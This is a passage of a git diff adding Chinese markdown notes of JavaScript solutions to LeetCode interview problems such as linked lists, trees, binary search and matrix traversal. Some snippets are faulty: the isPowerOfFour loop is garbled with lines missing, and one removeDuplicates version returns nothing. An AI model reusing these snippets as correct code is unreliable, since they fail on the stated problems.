从最后一项,向左遍历 + while (j >= 0 && nums[j] <= nums[i]) { // 寻找第一个大于 nums[i] 的数 + j--; + } + [nums[i], nums[j]] = [nums[j], nums[i]]; // 两数交换,实现变大 + } + // 如果 i = -1,说明是递减排列,如 3 2 1,没有下一排列,直接翻转为最小排列:1 2 3 + let l = i + 1; + let r = nums.length - 1; + while (l < r) { // i 右边的数进行翻转,使得变大的幅度小一些 + [nums[l], nums[r]] = [nums[r], nums[l]]; + l++; + r--; + } +} +``` + +## [283. 移动零](https://leetcode-cn.com/problems/move-zeroes/) + +```js +var moveZeroes = function(nums) { + nums.sort((a,b) => b? 1: -1) // b = 0 ,逆序排列 +}; +``` + +```js +var moveZeroes = function (nums) { + let i = 0; + const zeroes = []; + while (i < nums.length) { + if (nums[i] === 0) { + let zero = nums.splice(i,1); + zeroes.push(...zero); + i--; + } + i++; + } + nums.push(...zeroes) +}; +``` + +## [394. 字符串解码](https://leetcode-cn.com/problems/decode-string/) + +> 有效括号加强版 +> + +```js +const decodeString = (s) => { + let numStack = []; // 存倍数的栈 + let strStack = []; // 存 待拼接的str 的栈 + let num = 0; // 倍数的“搬运工” + let result = ''; // 字符串的“搬运工” + for (const char of s) { // 逐字符扫描 + if (!isNaN(char)) { // 遇到数字 + num = num * 10 + Number(char); // 算出倍数 + } else if (char == '[') { // 遇到 [ + strStack.push(result); // result串入栈 + result = ''; // 入栈后清零 + numStack.push(num); // 倍数num进入栈等待 + num = 0; // 入栈后清零 + } else if (char == ']') { // 遇到 ],两个栈的栈顶出栈 + let repeatTimes = numStack.pop(); // 获取拷贝次数 + result = strStack.pop() + result.repeat(repeatTimes); // 构建子串 + } else { + result += char; // 遇到字母,追加给result串 + } + } + return result; +}; +``` + +## [171. Excel 表列序号](https://leetcode-cn.com/problems/excel-sheet-column-number/) + +```js +var titleToNumber = function(columnTitle) { + let number = 0; + let multiple = 1; + for (let i = columnTitle.length - 1; i >= 0; i--) { + const k = columnTitle[i].charCodeAt() - 'A'.charCodeAt() + 1; + number += k * multiple; + multiple *= 26; + } + return number; +}; +``` + +## [168. Excel表列名称](https://leetcode-cn.com/problems/excel-sheet-column-title/) + +```js +var convertToTitle = function(columnNumber) { + let ans = []; + while (columnNumber > 0) { + const a0 = (columnNumber - 1) % 26 + 1; // 算低位 + ans.push(String.fromCharCode(a0 - 1 + 'A'.charCodeAt())); + columnNumber = Math.floor((columnNumber - a0) / 26); // 算进位 + } + return ans.reverse().join(''); +}; +``` + +## [349. 两个数组的交集](https://leetcode-cn.com/problems/intersection-of-two-arrays/) + +```js +/** + * @param {number[]} nums1 + * @param {number[]} nums2 + * @return {number[]} + */ +var intersection = function (nums1, nums2) { + const res = new Set(); + if (nums1.length > nums2.length) { + return intersection(nums2, nums1); + } + for (const val of nums1) { + if (nums2.indexOf(val) !== -1) { + res.add(val); + } + } + return [...res]; +}; +``` + +## [836. 矩形重叠](https://leetcode-cn.com/problems/rectangle-overlap/) + +> 转换为投影的公共部分 + +ds_183 + +```js +var isRectangleOverlap = function(rec1, rec2) { + const [x1, y1, x2, y2] = rec1; + const [x3, y3, x4, y4] = rec2; + return !(x1 >= x4 || x3 >= x2 || y3 >= y2 || y1 >= y4); +}; +``` + +## [67. 二进制求和](https://leetcode-cn.com/problems/add-binary/) + +> 溢出了 + +```js +var addBinary = function (a, b) { + a = parseInt(a, 2); + b = parseInt(b, 2); + return (a + b).toString(2) +}; +``` + +> 逐个计算 + +```js +/** + * @param {string} a + * @param {string} b + * @return {string} + */ +var addBinary = function(a, b) { + let ans = ""; + let ca = 0; + for(let i = a.length - 1, j = b.length - 1;i >= 0 || j >= 0; i--, j--) { + let sum = ca; + sum += i >= 0 ? parseInt(a[i]) : 0; + sum += j >= 0 ? parseInt(b[j]) : 0; + ans += sum % 2; + ca = Math.floor(sum / 2); + } + ans += ca == 1 ? ca : ""; + return ans.split('').reverse().join(''); +}; +``` + +## [2. 两数相加](https://leetcode-cn.com/problems/add-two-numbers/) + +```js +/** + * Definition for singly-linked list. + * function ListNode(val, next) { + * this.val = (val===undefined ? 0 : val) + * this.next = (next===undefined ? null : next) + * } + */ +/** + * @param {ListNode} l1 + * @param {ListNode} l2 + * @return {ListNode} + */ +var addTwoNumbers = function(l1, l2) { + let head = null, tail = null; // 头节点和节点指针 + let carry = 0; + while (l1 || l2) { + const n1 = l1 ? l1.val : 0; + const n2 = l2 ? l2.val : 0; + const sum = n1 + n2 + carry; + if (!head) { + head = tail = new ListNode(sum % 10); + } else { + tail.next = new ListNode(sum % 10); + tail = tail.next; + } + carry = Math.floor(sum / 10); + if (l1) { + l1 = l1.next; + } + if (l2) { + l2 = l2.next; + } + } + if (carry > 0) { + tail.next = new ListNode(carry); + } + return head; +}; +``` + +## [221. 最大正方形](https://leetcode-cn.com/problems/maximal-square/) + +fig1 + +> 左、上、左上 + +```js +/** + * @param {character[][]} matrix + * @return {number} + */ +var maximalSquare = function (matrix) { + const row = matrix.length; + const col = matrix[0].length; + const dp = new Array(row).fill(0).map(() => new Array(col).fill(0)); + + let maxLen = 0; + + for (let i = 0; i < row; i++) { + for (let j = 0; j < col; j++) { + if (matrix[i][j] === "0") continue; + dp[i][j] = + Math.min( + dp[i - 1]?.[j] || 0, + dp[i][j - 1] || 0, + dp[i - 1]?.[j - 1] || 0 + ) + 1; + maxLen = Math.max(maxLen, dp[i][j]); + } + } + + return maxLen * maxLen; +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\211\357\274\211.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\211\357\274\211.md" new file mode 100644 index 00000000..9d5779ab --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\211\357\274\211.md" @@ -0,0 +1,645 @@ +--- +date: 2022-04-06 + +--- + +# 字节跳动CodeTop(三) + +#### [83. 删除排序链表中的重复元素](https://leetcode-cn.com/problems/remove-duplicates-from-sorted-list/) + +```js +/** + * @param {ListNode} head + * @return {ListNode} + */ +var deleteDuplicates = function(head) { + if (!head) { + return head; + } + + let cur = head; + while (cur.next) { + if (cur.val === cur.next.val) { + cur.next = cur.next.next; + } else { + cur = cur.next; + } + } + return head; +}; +``` + +#### [543. 二叉树的直径](https://leetcode-cn.com/problems/diameter-of-binary-tree/) + +> 子问题:比较左右子树最大深度 + 1 + +baf2f6ea1ae76ba383eb1753254340f089dac9f03664f93990d6ae54f8560970-image.png + +```js +var diameterOfBinaryTree = function(root) { + // 默认为1是因为默认了根节点自身的路径长度 + let ans = 1; + + function depth(rootNode) { + if (!rootNode) { + // 如果不存在根节点,则深度为0 + return 0; + } + // 递归,获取左子树的深度 + let L = depth(rootNode.left); + // 递归,获取右子树的深度 + let R = depth(rootNode.right); + + /* 关键点1 + L+R+1的公式是如何而来? + 等同于:左子树深度(节点个数) + 右子树深度(节点个数) + 1个根节点 + 便是这株二叉树从最左侧叶子节点到最右侧叶子节点的最长路径 + 类似于平衡二叉树的最小值节点到最大值节点的最长路径 + 之所以+1是因为需要经过根节点 + */ + // 获取该树的最长路径和现有最长路径中最大的那个 + ans = Math.max(ans, L + R + 1); + /* 关键点2 + 已知根节点的左右子树的深度, + 则,左右子树深度的最大值 + 1, + 便是以根节点为数的最大深度*/ + return Math.max(L, R) + 1; // 包括当前根节点 + } + + depth(root); + + // 由于depth函数中已经默认加上数节点的自身根节点路径了,故此处需减1 + return ans - 1; +}; +``` + +#### [225. 用队列实现栈](https://leetcode-cn.com/problems/implement-stack-using-queues/) + +```js +let MyStack = function() { + this.queue = []; + this._queue = []; +}; + +MyStack.prototype.push = function(x) { + this.queue.push(x); +}; + +MyStack.prototype.pop = function() { + while(this.queue.length > 1){ + this._queue.push(this.queue.shift()); + } + let ans = this.queue.shift(); + while(this._queue.length){ + this.queue.push(this._queue.shift()); + } + return ans; +}; + +MyStack.prototype.top = function() { + return this.queue.slice(-1)[0]; +}; + +MyStack.prototype.empty = function() { + return !this.queue.length; +}; +``` + +#### [572. 另一棵树的子树](https://leetcode-cn.com/problems/subtree-of-another-tree/) + +```js +var isSubtree = function (s, t) { + if (s == null) { + return false; + } + if (isSameTree(s, t)) { + return true; + } + return isSubtree(s.left, t) || isSubtree(s.right, t); // 有一个true就true +}; +/* + isSameTree + 两树同为 null 则相同 + 一个 null 一个不是,则不同; + 两个树都不为 null,则递归判断左右子树是否相同 +*/ +function isSameTree(s, t) { // 100题 + if (s == null && t == null) { + return true; + }; + if (s == null || t == null) { + return false; + } + return s.val == t.val && isSameTree(s.left, t.left) && isSameTree(s.right, t.right); +} +``` + +#### [剑指 Offer 61. 扑克牌中的顺子](https://leetcode-cn.com/problems/bu-ke-pai-zhong-de-shun-zi-lcof/) + +```js +/** + * @param {number[]} nums + * @return {boolean} + */ +var isStraight = function (nums) { + let set = new Set(); + let max = 0, + min = 14; + for (let a of nums) { + // 跳过大小王; + if (a == 0) continue; + max = Math.max(a, max); + min = Math.min(a, min); + // 若有重复,提前返回 false + if (set.has(a)) return false; + set.add(a); + } + // 最大牌 - 最小牌 < 5 则可构成顺子 + return max - min < 5; +}; +``` + +#### [83. 删除排序链表中的重复元素](https://leetcode-cn.com/problems/remove-duplicates-from-sorted-list/) + +```js +/** + * @param {ListNode} head + * @return {ListNode} + */ +var deleteDuplicates = function(head) { + if (!head) { + return head; + } + + let cur = head; + while (cur.next) { + if (cur.val === cur.next.val) { + cur.next = cur.next.next; // 跳过该节点 + } else { + cur = cur.next; + } + } + return head; +}; +``` + +#### [剑指 Offer 29. 顺时针打印矩阵](https://leetcode-cn.com/problems/shun-shi-zhen-da-yin-ju-zhen-lcof/) + +> 模拟,并记录已经被访问的位置 + +```js +var spiralOrder = function(matrix) { + if (!matrix.length || !matrix[0].length) { + return []; + } + const rows = matrix.length, columns = matrix[0].length; + const visited = new Array(rows).fill(0).map(() => new Array(columns).fill(false)); + const total = rows * columns; + const order = new Array(total).fill(0); + + let directionIndex = 0, row = 0, column = 0; + const directions = [[0, 1], [1, 0], [0, -1], [-1, 0]]; // 方向数组 + for (let i = 0; i < total; i++) { + order[i] = matrix[row][column]; + visited[row][column] = true; + const nextRow = row + directions[directionIndex][0], nextColumn = column + directions[directionIndex][1]; + if (!(0 <= nextRow && nextRow < rows && 0 <= nextColumn && nextColumn < columns && !(visited[nextRow][nextColumn]))) { + directionIndex = (directionIndex + 1) % 4; // 方向切换 + } + row += directions[directionIndex][0]; + column += directions[directionIndex][1]; + } + return order; +}; +``` + +#### [剑指 Offer 11. 旋转数组的最小数字](https://leetcode-cn.com/problems/xuan-zhuan-shu-zu-de-zui-xiao-shu-zi-lcof/) + +```js +/** + * @param {number[]} numbers + * @return {number} + */ +var minArray = function (numbers) { + return numbers.sort((a, b) => a - b)[0] +}; +``` + +#### [26. 删除有序数组中的重复项](https://leetcode-cn.com/problems/remove-duplicates-from-sorted-array/) + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var removeDuplicates = function (nums) { + for (let i = 0; i < nums.length - 1; i++) { + if (nums[i] === nums[i + 1]) { + nums.splice(i, 1); + i--; // 删除后数组缩短,留在原地 + } + } +}; +``` + +#### [191. 位1的个数](https://leetcode-cn.com/problems/number-of-1-bits/) + +```js +/** + * @param {number} n - a positive integer + * @return {number} + */ +var hammingWeight = function (n) { + return n.toString(2).split('1').length - 1; +}; +``` + +#### [剑指 Offer 03. 数组中重复的数字](https://leetcode-cn.com/problems/shu-zu-zhong-zhong-fu-de-shu-zi-lcof/) + +```js +var findRepeatNumber = function(nums) { + let map = new Map(); + for(let i of nums){ + if(map.has(i)) return i; + map.set(i, 1); + } + return null; +}; +``` + +#### [977. 有序数组的平方](https://leetcode-cn.com/problems/squares-of-a-sorted-array/) + +```js +/** + * @param {number[]} nums + * @return {number[]} + */ +var sortedSquares = function (nums) { + return nums.map((val) => val ** 2).sort((a, b) => a - b); +}; +``` + +#### [108. 将有序数组转换为二叉搜索树](https://leetcode-cn.com/problems/convert-sorted-array-to-binary-search-tree/) :star: + +> 递归 + 左右分割 + +```js +/** + * @param {number[]} nums + * @return {TreeNode} + */ +const sortedArrayToBST = nums => { + if (!nums.length) return null; + // 去中间索引(÷2取整) + const mid = nums.length >> 1; + // 构建二叉树,根节点为中间值,左子树为左侧值继续构建,右子树为右子树继续构建 + return new TreeNode( + nums[mid], + sortedArrayToBST(nums.slice(0, mid)), + sortedArrayToBST(nums.slice(mid + 1)) + ); +}; +``` + +#### [剑指 Offer 53 - I. 在排序数组中查找数字 I](https://leetcode-cn.com/problems/zai-pai-xu-shu-zu-zhong-cha-zhao-shu-zi-lcof/) + +```js +var search = function (nums, target) { + let count = 0; + nums.forEach((val) => { + if (val === target) count++; + }) + return count; +}; +``` + +#### [剑指 Offer 40. 最小的k个数](https://leetcode-cn.com/problems/zui-xiao-de-kge-shu-lcof/) + +```js +var getLeastNumbers = function (arr, k) { + arr.sort((a, b) => a - b); + const res = []; + for (let i = 0; i < k; i++) { + res.push(arr[i]); + } + return res; +}; +``` + +#### [71. 简化路径](https://leetcode.cn/problems/simplify-path/) + +> ![image-20220629153730110](https://cdn.yihuiblog.top/images/202206291537170.png) + +```js +var simplifyPath = function(path) { + const names = path.split("/"); + const stack = []; + for (const name of names) { + if (name === "..") { + if (stack.length) { + stack.pop(); + } + } else if (name.length && name !== ".") { + stack.push(name); + + } + } + + return "/" + stack.join("/"); +}; +``` + +#### [162. 寻找峰值](https://leetcode.cn/problems/find-peak-element/) + +**方法一:寻找最大值** + +**方法二:迭代爬坡** + +> 你必须实现时间复杂度为 `O(log n)` 的算法来解决此问题。 + +**方法三:方法二的二分查找优化** + +```js +var findPeakElement = function(nums) { + const n = nums.length; + let left = 0, right = n - 1, ans = -1; + while (left <= right) { + const mid = Math.floor((left + right) / 2); + if (compare(nums, mid - 1, mid) < 0 && compare(nums, mid, mid + 1) > 0) { + ans = mid; + break; + } + if (compare(nums, mid, mid + 1) < 0) { + left = mid + 1; + } else { + right = mid - 1; + } + } + return ans; +} + +// 辅助函数,输入下标 i,返回一个二元组 (0/1, nums[i]) +// 方便处理 nums[-1] 以及 nums[n] 的边界情况 +const get = (nums, idx) => { + if (idx === -1 || idx === nums.length) { + return [0, 0]; + } + return [1, nums[idx]]; +} + +const compare = (nums, idx1, idx2) => { + const num1 = get(nums, idx1); + const num2 = get(nums, idx2); + if (num1[0] !== num2[0]) { + return num1[0] > num2[0] ? 1 : -1; + } + if (num1[1] === num2[1]) { + return 0; + } + return num1[1] > num2[1] ? 1 : -1; +} +``` + +#### [443. 压缩字符串](https://leetcode.cn/problems/string-compression/) + +> 压缩后得到的字符串 s 不应该直接返回 ,需要转储到字符数组 chars 中。需要注意的是,如果组长度为 10 或 10 以上,则在 chars 数组中会被拆分为多个字符。 +> +> 请在 修改完输入数组后 ,返回该数组的新长度。 +> +> 你必须设计并实现一个只使用常量额外空间的算法来解决此问题。 + +``` +输入:chars = ["a","a","b","b","c","c","c"] +输出:返回 6 ,输入数组的前 6 个字符应该是:["a","2","b","2","c","3"] +解释:"aa" 被 "a2" 替代。"bb" 被 "b2" 替代。"ccc" 被 "c3" 替代。 +``` + +> 参考 双指针 + +```js +var compress = function(chars) { + const n = chars.length; + let write = 0, left = 0; + for (let read = 0; read < n; read++) { + if (read === n - 1 || chars[read] !== chars[read + 1]) { + chars[write++] = chars[read]; + let num = read - left + 1; + if (num > 1) { + const anchor = write; + while (num > 0) { + chars[write++] = '' + num % 10; + num = Math.floor(num / 10); + } + reverse(chars, anchor, write - 1); + } + left = read + 1; + } + } + return write; +}; + +const reverse = (chars, left, right) => { + while (left < right) { + const temp = chars[left]; + chars[left] = chars[right]; + chars[right] = temp; + left++; + right--; + } +} +``` + +> 正则 + +```js +const compress = function (chars) { + const charStr = chars.join(""); + const matchList = charStr.match(/(.)\1*/g) || []; + + const result = matchList.reduce((prev, item) => { + prev += item.length > 1 ? item[0] + item.length : item + return prev + }, "").split(""); + + chars.splice(0, chars.length, ...result) +}; +``` + +#### [673. 最长递增子序列的个数](https://leetcode.cn/problems/number-of-longest-increasing-subsequence/) + +**方法一:动态规划** + +![image-20220630184638629](https://cdn.yihuiblog.top/images/202206301846700.png) + +#### [12. 整数转罗马数字](https://leetcode.cn/problems/integer-to-roman/) + +```js +/** + * @param {number} num + * @return {string} + */ +var intToRoman = function (num) { + const values = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]; + const symbols = ["M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I"]; + + let res = ''; + for (let i = 0; i < 13; i++) { + while (num >= values[i]) { + num -= values[i]; + res += symbols[i]; + } + } + return res; +}; +``` + +#### [498. 对角线遍历](https://leetcode.cn/problems/diagonal-traverse/) + +![image-20220630190325081](https://cdn.yihuiblog.top/images/202206301903147.png) + + + + + +> 错误模拟 + +```js +/** + * @param {number[][]} mat + * @return {number[]} + */ +var findDiagonalOrder = function (mat) { + const res = []; + let x = 0, y = 0 + while (x < mat[0].length && y < mat.length) { + res.push(mat[x][y]) + if ((x + y) % 2 !== 0) { + if (x === mat.length - 1) { + y++; + } else if (y === 0) { + x++; + } else { + x++; + y--; + } + } else { + if (y === mat[0].length - 1) { + x++; + } else if (x === 0) { + y++; + } else { + x--; + y++; + } + } + } + return res; +}; +``` + +> 解决单行单列等特殊情况 + +```js +/** + * @param {number[][]} mat + * @return {number[]} + */ +var findDiagonalOrder = function(mat) { + const m = mat.length; + const n = mat[0].length; + const res = new Array(m * n).fill(0); + let pos = 0; + for (let i = 0; i < m + n - 1; i++) { + if (i % 2 === 1) { + let x = i < n ? 0 : i - n + 1; + let y = i < n ? i : n - 1; + while (x < m && y >= 0) { + res[pos] = mat[x][y]; + pos++; + x++; + y--; + } + } else { + let x = i < m ? i : m - 1; + let y = i < m ? 0 : i - m + 1; + while (x >= 0 && y < n) { + res[pos] = mat[x][y]; + pos++; + x--; + y++; + } + } + } + return res; +}; +``` + +#### [面试题 01.03. URL化](https://leetcode.cn/problems/string-to-url-lcci/) + +```js +/** + * @param {string} S + * @param {number} length + * @return {string} + */ +var replaceSpaces = function(S, length) { + return S.substr(0, length).split(' ').join('%20') +}; +``` + +```js +var replaceSpaces = function (S, length) { + const arr = S.substring(0, length).split('') + return arr.reduce((pre, item) => { + if (item === ' ') { + return pre + '%20' + } else { + return pre + item; + } + }, '') +}; +``` + +#### [119. 杨辉三角 II](https://leetcode.cn/problems/pascals-triangle-ii/) + +> **递推方法:** +> +> 注意到对第 i+1 行的计算仅用到了第 i*i* 行的数据,因此可以使用**滚动数组**的思想优化空间复杂度。 + +```js +/** + * @param {number} rowIndex + * @return {number[]} + */ +var getRow = function(rowIndex) { + let pre = [], cur = []; + for (let i = 0; i <= rowIndex; ++i) { + cur = new Array(i + 1).fill(0); + cur[0] = cur[i] =1; + for (let j = 1; j < i; ++j) { + cur[j] = pre[j - 1] + pre[j]; + } + pre = cur; + } + return pre; +}; +``` + + + +#### [414. 第三大的数](https://leetcode.cn/problems/third-maximum-number/) + +> 默认排序顺序是在将元素转换为字符串,然后比较它们的 UTF-16 代码单元值序列时构建的 + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var thirdMax = function (nums) { + nums = Array.from([...new Set(nums)]).sort((a,b)=>a-b) + if (nums.length < 3) return nums[nums.length - 1] + return nums[nums.length - 3] +}; +``` + diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\272\214\357\274\211.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\272\214\357\274\211.md" new file mode 100644 index 00000000..6488f39e --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\272\214\357\274\211.md" @@ -0,0 +1,552 @@ +--- +date: 2022-04-04 +icon: page +--- + +# 字节跳动CodeTop(二) + +## [700. 二叉搜索树中的搜索](https://leetcode-cn.com/problems/search-in-a-binary-search-tree/) + +> 递归 + +```js +var searchBST = function(root, val) { + if (!root) { + return null; + } + if (val === root.val) { + return root; + } + return searchBST(val < root.val ? root.left : root.right, val); +}; +``` + +> 迭代 + +```js +var searchBST = function(root, val) { + while (root) { + if (val === root.val) { + return root; + } + root = val < root.val ? root.left : root.right; + } + return null; +}; +``` + +## [剑指 Offer 54. 二叉搜索树的第k大节点](https://leetcode-cn.com/problems/er-cha-sou-suo-shu-de-di-kda-jie-dian-lcof/) + +> **二叉搜索树的 中序遍历倒序 为 递减序列 。** +> +> 因此,求 “二叉搜索树第 kk 大的节点” 可转化为求 “此树的中序遍历倒序的第 k 个节点”。or 正序倒数第三个。 + +Picture1.png + +```js +var kthLargest = function (root, k) { + const res = []; + const inOrder = (root) => { + if (!root) return; + inOrder(root.left); + res.push(root.val) + inOrder(root.right); + } + inOrder(root); + return res[res.length - k] +}; +``` + +## [342. 4的幂](https://leetcode-cn.com/problems/power-of-four/) + +> 循环 + +```js +var isPowerOfFour = function(n) { + if(n<=0)return false + if(n==1)return true + let i=1 + while(in){ + return false + } + i=temp + } +}; +``` + +> 转换为2的幂 + +```js +var isPowerOfFour = function (n) { + if (n <= 0) return false + if (n === 1) return true + n = n ** 0.5; + if (n % 1 !== 0) return false; + return (n & n - 1) === 0; +}; +``` + +## [507. 完美数](https://leetcode-cn.com/problems/perfect-number/) + +```js +var checkPerfectNumber = function(num) { + if (num === 1) { + return false; + } + + let sum = 1; + for (let d = 2; d * d <= num; ++d) { + if (num % d === 0) { + sum += d; // 因数1可以被除 + if (d * d < num) { + sum += Math.floor(num / d); // 对应的因数2存在且,则加上 + } + } + } + return sum === num; +}; +``` + +## [剑指 Offer 21. 调整数组顺序使奇数位于偶数前面](https://leetcode-cn.com/problems/diao-zheng-shu-zu-shun-xu-shi-qi-shu-wei-yu-ou-shu-qian-mian-lcof/) + +```js +/** + * @param {number[]} nums + * @return {number[]} + */ +var exchange = function(nums) { + return nums.sort((a,b)=>b%2-a%2); // 奇数前,偶数后 +}; +``` + +```js +var exchange = function (nums) { + const even = []; + const res = []; + nums.forEach((val) => { + if (val % 2 === 0) { + even.push(val); + } else { + res.push(val); + } + }) + return res.concat(even); +}; +``` + +## [122. 买卖股票的最佳时机 II](https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-ii/) + +> 贪心大法好 + +```js +/** + * @param {number[]} prices + * @return {number} + */ +var maxProfit = function(prices) { + let ans = 0; + let n = prices.length; + for (let i = 1; i < n; ++i) { + ans += Math.max(0, prices[i] - prices[i - 1]); + } + return ans; +}; +``` + +## [252. 会议室](https://leetcode-cn.com/problems/meeting-rooms/) + +```js +/** + * @param {number[][]} intervals + * @return {boolean} + */ +var canAttendMeetings = function (intervals) { + // 将传入的数组按照 第一个数字升序排列 + intervals.sort((a, b) => { + return a[0] - b[0]; + }) + + for (let i = 0; i < intervals.length - 1; i++) { + if (intervals[i][1] > intervals[i + 1][0]) { + return false + } + } + return true +}; +``` + +## [704. 二分查找](https://leetcode-cn.com/problems/binary-search/) + +```js +/** + * @param {number[]} nums + * @param {number} target + * @return {number} + */ +var search = function(nums, target) { + let low = 0, high = nums.length - 1; + while (low <= high) { + const mid = Math.floor((high + low) / 2); + const num = nums[mid]; + if (num === target) { + return mid; + } else if (num > target) { + high = mid - 1; + } else { + low = mid + 1; + } + } + return -1; +}; +``` + +## [9. 回文数](https://leetcode-cn.com/problems/palindrome-number/) + +```js +var isPalindrome = function (x) { + if (x < 0) return false; + const str = x.toString() + return str === str.split('').reverse().join(''); +}; +// 解法一:翻转字符串法 +var isPalindrome = function(x) { + return x.toString() === x.toString().split('').reverse().join(''); +}; +``` + +```js +/** + * @param {number} x + * @return {boolean} + */ +// 解法二:双指针遍历比较法 +var isPalindrome = function(x) { + let temp = x.toString() + const n = Math.floor(temp.length / 2) + for(let i = 0; i < n; i++){ + if(temp[i] != temp[temp.length-i-1]) return false + } + return true +}; +``` + +## [234. 回文链表](https://leetcode-cn.com/problems/palindrome-linked-list/) + +```js +var isPalindrome = function(head) { + const vals = []; + while (head !== null) { + vals.push(head.val); + head = head.next; + } + for (let i = 0, j = vals.length - 1; i < j; ++i, --j) { + if (vals[i] !== vals[j]) { + return false; + } + } + return true; +}; +``` + +## [125. 验证回文串](https://leetcode-cn.com/problems/valid-palindrome/) + +```js +/** + * @param {string} s + * @return {boolean} + */ +var isPalindrome = function(s) { + let valid = s.toLowerCase().match(/[a-z0-9]+/g);// valid为进行正则匹配后筛选出来的数组 + if(!valid){ + return true; + } + let str = valid.join("");// 数据预处理(正则匹配)后得到的字符串 + let comp = str.split("").reverse().join("");// 将字符串每个字母逐个翻转 + return comp === str; +}; +``` + +## [717. 1 比特与 2 比特字符](https://leetcode-cn.com/problems/1-bit-and-2-bit-characters/) + +```js +var isOneBitCharacter = function(bits) { + let i = 0, n = bits.length; + while (i < n - 1) { + i += bits[i] + 1; // 第一种字符一定以 00 开头,第二种字符一定以 11 开头。 + } + return i === n - 1; // 完整遍历应该存在 +}; +``` + +## [剑指 Offer 39. 数组中出现次数超过一半的数字](https://leetcode-cn.com/problems/shu-zu-zhong-chu-xian-ci-shu-chao-guo-yi-ban-de-shu-zi-lcof/) + +> 超过一半的数一定是中间数 + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var majorityElement = function (nums) { + return nums.sort()[~~(nums.length / 2)]; +}; +``` + +## [1356. 根据数字二进制下 1 的数目排序](https://leetcode-cn.com/problems/sort-integers-by-the-number-of-1-bits/) + +```js +/** + * @param {number[]} arr + * @return {number[]} + */ +function sortByBits(arr) { + function countBits(n) { + let count = 0; + while (n != 0) { // 转二进制的操作 + count += n & 1; // 是1就+1,是0就+0 (判定二进制位最后是否是一(判定奇数)) + n >>= 1; // 即,除以2 + } + return count; + } + return arr.sort((a, b) => { // 如果有差,则按bits数排,如果无差,则按原值排 + return countBits(a) - countBits(b) || a - b; + }); +} +``` + +## [111. 二叉树的最小深度](https://leetcode-cn.com/problems/minimum-depth-of-binary-tree/) + +```js +/** + * @param {TreeNode} root + * @return {number} + */ +const minDepth = function(root) { + if(root == null) { + return 0; + } + if(root.left == null && root.right == null) { + return 1; + } + let ans = Number.MAX_SAFE_INTEGER; + if(root.left != null) { + ans = Math.min(minDepth(root.left), ans); + } + if(root.right != null) { + ans = Math.min(minDepth(root.right), ans); + } + return ans + 1; +}; +``` + +## [783. 二叉搜索树节点最小距离](https://leetcode-cn.com/problems/minimum-distance-between-bst-nodes/) + +> 中序遍历 + +```js +/** + * @param {TreeNode} root + * @return {number} + */ +var minDiffInBST = function(root) { + let ans = Number.MAX_SAFE_INTEGER, pre = -1; + const dfs = (root) => { + if (root === null) { + return; + } + dfs(root.left); + if (pre == -1) { + pre = root.val; + } else { + ans = Math.min(ans, root.val - pre); + pre = root.val; + } + dfs(root.right); + } + dfs(root); + return ans; +}; +``` + +## [剑指 Offer 42. 连续子数组的最大和](https://leetcode-cn.com/problems/lian-xu-zi-shu-zu-de-zui-da-he-lcof/) + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var maxSubArray = function(nums) { + let pre = 0, maxAns = nums[0]; + nums.forEach((x) => { + pre = Math.max(pre + x, x); + maxAns = Math.max(maxAns, pre); + }); + return maxAns; +}; +``` + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var maxSubArray = function (nums) { + let pre = 0, maxAns = nums[0]; + nums.forEach((x) => { + if (pre < 0) { + pre = x; + } else { + pre = pre + x; + } + maxAns = Math.max(maxAns, pre); + }); + return maxAns; +}; +``` + +## [257. 二叉树的所有路径](https://leetcode-cn.com/problems/binary-tree-paths/) + +```js +var binaryTreePaths = function(root) { + const paths = []; + const construct_paths = (root, path) => { + if (root) { + path += root.val.toString(); + if (root.left === null && root.right === null) { // 当前节点是叶子节点 + paths.push(path); // 把路径加入到答案中 + } else { + path += "->"; // 当前节点不是叶子节点,继续递归遍历 + construct_paths(root.left, path); + construct_paths(root.right, path); + } + } + } + construct_paths(root, ""); + return paths; +}; +``` + +## [680. 验证回文字符串 Ⅱ](https://leetcode-cn.com/problems/valid-palindrome-ii/) + +```js +function isPali(str, l, r) { // 判断str是否回文 + while (l < r) { + if (str[l] != str[r]) { // 指向的字符不一样,不是回文串 + return false; + } + l++; // 指针相互逼近 + r--; + } + return true; // 始终没有不一样,返回true +} + +var validPalindrome = function (str) { + let l = 0, r = str.length - 1; // 头尾指针 + while (l < r) { + if (str[l] != str[r]) { // 指向的字符不一样,还不能死刑 + return isPali(str, l + 1, r) || isPali(str, l, r - 1); //转为判断删掉一个字符后,是否回文 + } + l++; + r--; + } + return true; +}; +``` + +## [剑指 Offer 04. 二维数组中的查找](https://leetcode-cn.com/problems/er-wei-shu-zu-zhong-de-cha-zhao-lcof/) + +开始位置即竖排最大,横排最小 + +> 1. 以二维数组左下角为原点,建立直角坐标轴。 +> 2. 若当前数字大于了查找数,查找往上移一位。 +> 3. 若当前数字小于了查找数,查找往右移一位。 + +```js +var findNumberIn2DArray = function(matrix, target) { + if(!matrix.length) return false; + let x = matrix.length - 1, y = 0; + while(x >= 0 && y < matrix[0].length){ + if(matrix[x][y] === target){ + return true; + }else if(matrix[x][y] > target){ + x--; + }else{ + y++; + } + } + return false; +}; +``` + +## [242. 有效的字母异位词](https://leetcode-cn.com/problems/valid-anagram/) + +> 慢吞吞 O*(*n*log*n*), + +```js +var isAnagram = function (s, t) { + s = s.split('').sort().join(''); + t = 